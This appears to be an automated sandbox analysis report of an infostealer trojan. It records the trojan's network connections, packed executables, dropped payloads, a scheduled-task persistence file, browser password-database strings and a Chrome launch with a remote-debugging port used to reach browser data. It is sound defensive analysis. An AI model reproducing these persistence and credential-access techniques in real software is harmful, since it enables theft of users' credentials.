Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 62268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62270
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62271
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62709
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 62709 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.17:443 -> 192.168.2.8:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.206:443 -> 192.168.2.8:62268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:62270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:62275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:62277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:62709 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name:
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: .idata
Source: random[1].exe.28.dr	Static PE information: section name:
Source: 741c6182cd.exe.28.dr	Static PE information: section name:
Source: 741c6182cd.exe.28.dr	Static PE information: section name: .idata
Source: 741c6182cd.exe.28.dr	Static PE information: section name:
Source: random[1].exe0.28.dr	Static PE information: section name:
Source: random[1].exe0.28.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.28.dr	Static PE information: section name: .idata
Source: random[1].exe0.28.dr	Static PE information: section name:
Source: beda8cb96f.exe.28.dr	Static PE information: section name:
Source: beda8cb96f.exe.28.dr	Static PE information: section name: .rsrc
Source: beda8cb96f.exe.28.dr	Static PE information: section name: .idata
Source: beda8cb96f.exe.28.dr	Static PE information: section name:
Source: random[2].exe.28.dr	Static PE information: section name:
Source: random[2].exe.28.dr	Static PE information: section name: .rsrc
Source: random[2].exe.28.dr	Static PE information: section name: .idata
Source: random[2].exe.28.dr	Static PE information: section name:
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name:
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name: .rsrc
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name: .idata
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CACB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CACB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CACB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA6F280

Source: C:\Users\user\DocumentsKKEHIEBKJK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA635A0	0_2_6CA635A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC34A0	0_2_6CAC34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACC4A0	0_2_6CACC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76C80	0_2_6CA76C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6D4E0	0_2_6CA6D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6CF0	0_2_6CAA6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA764C0	0_2_6CA764C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8D4D0	0_2_6CA8D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD542B	0_2_6CAD542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADAC00	0_2_6CADAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA5C10	0_2_6CAA5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB2C10	0_2_6CAB2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA75440	0_2_6CA75440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD545C	0_2_6CAD545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC85F0	0_2_6CAC85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA0DD0	0_2_6CAA0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7FD00	0_2_6CA7FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8ED10	0_2_6CA8ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA90512	0_2_6CA90512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC4EA0	0_2_6CAC4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACE680	0_2_6CACE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA85E90	0_2_6CA85E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD76E3	0_2_6CAD76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6BEF0	0_2_6CA6BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7FEF0	0_2_6CA7FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC9E30	0_2_6CAC9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB5600	0_2_6CAB5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA7E10	0_2_6CAA7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD6E63	0_2_6CAD6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C670	0_2_6CA6C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB2E4E	0_2_6CAB2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA84640	0_2_6CA84640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA89E50	0_2_6CA89E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA3E50	0_2_6CAA3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB77A0	0_2_6CAB77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6DFE0	0_2_6CA6DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96FF0	0_2_6CA96FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA79F00	0_2_6CA79F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA7710	0_2_6CAA7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA960A0	0_2_6CA960A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C0E0	0_2_6CA8C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA58E0	0_2_6CAA58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD50C7	0_2_6CAD50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAB820	0_2_6CAAB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4820	0_2_6CAB4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA77810	0_2_6CA77810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAF070	0_2_6CAAF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA88850	0_2_6CA88850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8D850	0_2_6CA8D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C9A0	0_2_6CA6C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9D9B0	0_2_6CA9D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA5190	0_2_6CAA5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC2990	0_2_6CAC2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7D960	0_2_6CA7D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB970	0_2_6CABB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADB170	0_2_6CADB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8A940	0_2_6CA8A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA622A0	0_2_6CA622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA94AA0	0_2_6CA94AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7CAB0	0_2_6CA7CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD2AB0	0_2_6CAD2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADBA90	0_2_6CADBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA81AF0	0_2_6CA81AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAE2F0	0_2_6CAAE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA8AC0	0_2_6CAA8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA9A60	0_2_6CAA9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6F380	0_2_6CA6F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD53C8	0_2_6CAD53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAD320	0_2_6CAAD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7C370	0_2_6CA7C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65340	0_2_6CA65340
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00507049	28_2_00507049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00508860	28_2_00508860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_005078BB	28_2_005078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00502D10	28_2_00502D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_004C4DE0	28_2_004C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_005031A8	28_2_005031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_004F7F36	28_2_004F7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_004C4B30	28_2_004C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0050779B	28_2_0050779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAA94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA9CBE8 appears 134 times

Source: 741c6182cd.exe.28.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.28.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1872220529.000000006CCE5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: hugubvrh ZLIB complexity 0.9950163303957947
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983768307220708
Source: random[1].exe.0.dr	Static PE information: Section: bapykixb ZLIB complexity 0.9943102077095808
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983768307220708
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: Section: bapykixb ZLIB complexity 0.9943102077095808
Source: skotes.exe.21.dr	Static PE information: Section: ZLIB complexity 0.9983768307220708
Source: skotes.exe.21.dr	Static PE information: Section: bapykixb ZLIB complexity 0.9943102077095808
Source: random[1].exe.28.dr	Static PE information: Section: hugubvrh ZLIB complexity 0.9952062965549349
Source: 741c6182cd.exe.28.dr	Static PE information: Section: hugubvrh ZLIB complexity 0.9952062965549349
Source: random[1].exe0.28.dr	Static PE information: Section: wqksuucf ZLIB complexity 0.994295371745897
Source: beda8cb96f.exe.28.dr	Static PE information: Section: wqksuucf ZLIB complexity 0.994295371745897
Source: random[2].exe.28.dr	Static PE information: Section: ZLIB complexity 0.9974151712046204
Source: random[2].exe.28.dr	Static PE information: Section: lqlzklut ZLIB complexity 0.9948743697320891
Source: 7255bf1ad0.exe.28.dr	Static PE information: Section: ZLIB complexity 0.9974151712046204
Source: 7255bf1ad0.exe.28.dr	Static PE information: Section: lqlzklut ZLIB complexity 0.9948743697320891

Source: random[2].exe.28.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.28.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: beda8cb96f.exe.28.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 7255bf1ad0.exe.28.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@77/357@32/31

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAC7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CAC7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\60ZIEW7C.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9084:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\9cfc2b0d-2a25-4024-a1a8-cff8e06468c0.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1853594259.000000001D68D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1864523097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1871968278.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1853594259.000000001D68D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1864523097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1871968278.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1853594259.000000001D68D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1864523097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1871968278.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1853594259.000000001D68D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1864523097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1871968278.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1853594259.000000001D68D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1864523097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1871968278.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1853594259.000000001D68D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1864523097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1853594259.000000001D68D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1864523097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1871968278.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1610166101.000000001D589000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707264768.000000001D57D000.00000004.00000020.00020000.00000000.sdmp, BAKEBAFIIECBGCAAAAFC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1853594259.000000001D68D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1864523097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1853594259.000000001D68D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1864523097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsKKEHIEBKJK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
